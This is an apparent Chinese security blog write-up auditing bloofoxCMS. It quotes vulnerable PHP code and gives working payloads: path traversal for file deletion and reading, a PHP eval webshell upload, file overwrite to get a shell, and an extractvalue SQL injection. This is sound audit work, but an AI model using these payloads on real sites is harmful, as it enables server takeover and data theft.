bloofoxCMS 代码审计

项目地址

https://github.com/alexlang24/bloofoxCMS

bloofoxCMS is a free open source web content management system (CMS) written in PHP using MySQL.

粗扫

使用seay过一遍

两百多个疑似漏洞点,体现了传统的基于正则表达式匹配的代码审计的短板:规则死板,产生的误报多

把里面的内容挨个看一看

第一个可能存在任意文件删除的疑似漏洞点

函数delete_file($file,$folder)

// delete file from folder $folder
function delete_file($file,$folder)
{
	if(file_exists($folder.$file) && strlen($file) != 0) {
		unlink($folder.$file);
	}
}

可以看到只是模块化了删除文件这个步骤,全局搜索调用

随便点一个进去看

case 'del':
		if(isset($_POST['send']) && $sys_group_vars['demo'] == 0 && $sys_rights['content_media']['delete'] == 1) {
			if($_POST['media_type'] == 0) {
				delete_file($_POST['media_file'],$path_to_files_folder);
			} else {
				delete_file($_POST['media_file'],$path_to_image_folder);
			}
			CreateConfirmMessage(1,get_caption('0410','Entry was successfully deleted.'));
			load_url("index.php?mode=content&page=media");
		}

删除的文件名是我们传入的media_file,可以看到这里删除的部分实际上是我们可控的,不过在这一部分$sys_group_vars['demo'] == 0限制了需要管理员登录才能删除。

所以这里的代码审计目标可以定位为管理员后台路径穿越导致服务器任意文件删除。进而这里需要尝试

delete_file($_POST['media_file'],$path_to_files_folder);

这一段代码能否造成路径穿越

同目录下创建test.php

<?php
    $path_to_files_folder = "../media/files/";
    $media_file="../../../test.txt";
    function delete_file($file,$folder)
    {
        if(file_exists($folder.$file) && strlen($file) != 0) {
            unlink($folder.$file);
        }
    }
    delete_file($media_file,$path_to_files_folder);

?>

www目录下创建test.txt

访问http://127.0.0.1/bloofoxCMS/admin/test.php

动态调试查看file_exists($folder.$file)值为true

test.txt成功被删除,说明路径穿越存在

因为这里没有看到明显的过滤,所以登录后台直接进行抓包尝试是否真实存在任意文件删除,重新在www目录下创建test.txt

访问http://127.0.0.1/bloofoxCMS/admin/index.php?mode=content&page=media

点击删除,确定,抓包

可以看到media_file=e999n.gif&media_type=0&send=Yes

其中media_file就是我们需要控制的任意文件删除内容,而media_type=0,说明进入逻辑

if($_POST['media_type'] == 0) {
				delete_file($_POST['media_file'],$path_to_files_folder);

直接用test.php中的路径../../../test.txt,重放

返回302状态码,删除成功

查看www目录下文件test.txt

文件已被删除,其他调用了delete_file函数的地方利用也大同小异,都是目录穿越+任意文件删除,查了一下应该算是一个小0day?看项目太久没更新了,就懒得交CVE了,后面的漏洞同理。

疑似任意文件上传漏洞

疑似文件上传类型可控的漏洞点

// upload files (tools) to folder $folder
function upload_files($folder)
{
	$oldperms = fileperms($folder);
	@chmod($folder,$oldperms | 0222);
	if(!is_writeable($folder)) {
		return(0);
	} else {
		$x = 0;
   	    while($x < 5)
	    {
			$x++;
			if($_FILES["file".$x]["size"] != 0) {
				move_uploaded_file($_FILES["file".$x]["tmp_name"],$folder.$_FILES["file".$x]["name"]);
				@chmod($folder.$_FILES["file".$x]["name"],0666);
			}
		}
	}
	@chmod($folder,$oldperms);
	return(1);
}

fileperms() 函数返回文件或目录的权限,接下来的操作就是修改目录权限,检测目录是否可写,依次将五个上传的文件写入目录中

可以看到这里是$folder.$_FILES["file".$x]["name"],文件名是我们可控的,同时即便上传的目录访问不了,也可以通过上一个目录穿越的漏洞将一句话木马上传到我们想要到达的位置去。

查看upload_files函数的全局调用

调用位置只有一个,在index.php?mode=tools&page=upload

核心代码是

if($error == "") {
				if(!upload_files($folder)) { $error = $ac->show_error_message(get_caption('9010',"You have not the permissions (chmod 777) to write in this folder.")." (".$folder.")"); }
			}

此处调用前面的upload_files函数,只有在没有权限的情况下才会抛出报错,没有进行文件名的检查和过滤

编写一句话木马

<?php @eval($_POST['shell']);?>

访问http://127.0.0.1/bloofoxCMS/admin/index.php?mode=tools&page=upload并上传php一句话

上传成功并正确解析,使用蚁剑链接

任意文件上传GET,不过后来查了一下,发现这个之前已经有人发过了bloofoxCMS v0.5.2.1 后台任意文件上传漏洞

任意文件读取漏洞

漏洞代码为

if(isset($_GET["fileurl"])) {
	$fileurl = "../".$_GET["fileurl"];
}

if(file_exists($fileurl)) {
	$filelength = filesize($fileurl);
	$readfile = fopen($fileurl,"r");
	$file = fread($readfile,$filelength);
	fclose($readfile);
}

这里就不进行分析了,因为是很明显的任意文件读取,其本来的逻辑是读取templates下的模板文件,实际上存在路径穿越导致任意文件读取

原来的效果为:
http://127.0.0.1/bloofoxCMS/admin/index.php?mode=settings&page=editor&fileurl=templates/default/print.css

路径穿越读取www目录下的phpinfo.php

任意文件覆盖写一句话木马

在上一个漏洞的同一个文件里,存在

$newfile = str_replace("\\","",$_POST['file']);
	$fileurl = $_POST['fileurl'];
	$backlink = $_POST['backlink'];
	
	//write $newfile to file
	if(file_exists($fileurl)) {
		$oldperms = fileperms($fileurl);
		@chmod($fileurl,$oldperms | 0222);
		if(is_writeable($fileurl)==false) {
			$error = $ac->show_error_message(get_caption('9015','You have not the permissions (chmod 666) to write in this file.'));
		} else {
			$wf = fopen($fileurl,"w");
			fwrite($wf,$newfile);
			fclose($wf);
		}
		@chmod($fileurl,$oldperms);
	}

可控输入并且通过fwrite函数覆盖写,可以覆盖已知文件变成一句话木马进而getshell

为了不影响环境可用性,我在admin文件夹下创建了一个test1.php的空文件

实战的时候可以覆盖该文件夹下的其他php文件或者穿越到上级目录中去

在任意文件读取处点击save进入文件覆盖代码逻辑

抓包,修改fileurl值,这里的file可以修改为一句话木马,这里就用phpinfo()代替,重放之

可以看到test1.php已经被覆盖

文件覆盖->GETSHELL

SQL注入挖掘

疑似SQL注入的地方是最多的,先看第一个地方

$db->query("UPDATE ".$tbl_prefix."sys_user SET online_status = '1' WHERE online_status = '0' && uid = '".$sys_vars['uid']."' ORDER BY uid");

其中的$sys_vars['uid']是由后端程序定义的
$sys_vars['uid'] = $_SESSION["uid"];,感觉并不是我们能够控制的输入。

第二个疑似SQL注入点

$db->query("INSERT INTO ".$tbl_prefix."sys_content VALUES ('','".$_POST['eid']."','".$sorting."','".$config_id."','','".$_POST['title']."','".$_POST['text']."','".$_POST['blocked']."','".$created_by."','".$created_at."','','','".$_POST['startdate']."','".$_POST['enddate']."')");

前面有部分参数的改变

				$_POST['title'] = validate_text($_POST['title']);
				$_POST['text'] = replace_specialchars($_POST['text']);
				$_POST['startdate'] = validate_date($_POST['startdate']);
				$_POST['enddate'] = validate_date($_POST['enddate']);
				
				if($_POST['startdate'] == "0" && $error == "") { $error = $ac->show_error_message(get_caption('9430','The starting date is invalid. Please consider the format.')); $_POST['startdate'] = ""; }
				if($_POST['enddate'] == "0" && $error == "") { $error = $ac->show_error_message(get_caption('9440','The ending date is invalid. Please consider the format.')); $_POST['enddate'] = ""; }

				if($admin_plugin[10000] == 0) {
					$_POST['text'] = text_2_html($_POST['text']);
				}

比如跟踪validate_text函数可以看出进行了一些过滤

// validate text-input fields
function validate_text($string)
{
	global $sys_config_vars,$sys_setting_vars;
	
	$string = trim($string);
	$string = strip_tags($string);
	$string = stripslashes($string);
	if($sys_setting_vars["htmlentities_off"] == 0) {
		// >> 0.5.1
		//$string = htmlentities($string,ENT_QUOTES);
		$string = htmlentities($string,ENT_QUOTES,$sys_config_vars['meta_charset']);
		// << 0.5.1
	} else {
		$string = str_replace("'","&#039;",$string);
		$string = str_replace("\"","&quot;",$string);
	}
	
	return($string);
}

查看实际上未被过滤的参数,我们把目光放在$_POST['eid']上,尝试进行SQL注入

访问http://127.0.0.1/bloofoxCMS/admin/index.php?mode=content&page=articles&action=new
填写内容并抓包,将eid=1添加一个单引号,变成eid=1'

相应包报错,看起来就存在报错注入

修改payload为eid=1'%20and%20extractvalue(1,concat(0x7e,(select%20database()),0x7e))--+

爆出数据库bloofoxcms,存在SQL注入,其他的注入点也大同小异,不再赘述

疑似XSS漏洞

这里的前台XSS经过检查之后确实没有找到比较好的绕过方法,登录后台之后修改模板肯定是存在XSS的,但后台的XSS一般只用于隐蔽地维持权限,不能算完美

因为主要是记录审计的过程,所以不管是成功审到洞还是未能构建出利用链,思考的过程都是有价值的。

前台XSS疑似漏洞点

if($print == 0) {
	$sys_print_vars['print'] = "<div class='print'><a href='index.php?page=".$sys_explorer_id."&amp;start=".$_GET['start']."&amp;print=1' target='print' title='".get_caption('B010','Print')."'>".get_caption('B010','Print')."</a></div>";
}

$print==0时会直接将GET传入的start输出到页面上,尝试了一下index.php?start=111

成功输出,修改payload为index.php?start=111'>

界面成功找不到111在哪里了

发现该疑似漏洞点前面限制了start必须为整数

// check if parameter $start is a valid integer value
if(CheckInteger($_GET['start']) == FALSE) {
	$_GET['start'] = 1;
}

然后CheckInteger函数是基于正则匹配的

// checks parameter for integer value
function CheckInteger($string)
{
  if (!preg_match("/^\d+$/",$string))
  {
    return(FALSE); // $string includes other signs
  }
  return(TRUE); // $string is ok
}

我们需要preg_match("/^\d+$/",$string)true,才能return true,而不管是pcre还是数组绕过,都只能得到false,所以这里暂时没有想到其他的绕过方法,如果有成功绕过的朋友欢迎告诉我hhh

总结

总的来说bloofoxCMS的代码审计还是比较简单和基础的,当然漏洞也不止上面提到的这些,连同一类型的漏洞都有很多个地方出现orz,欢迎一起交流

END

建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注

GIF GIF
原文地址:https://www.cnblogs.com/Cl0ud/p/15783917.html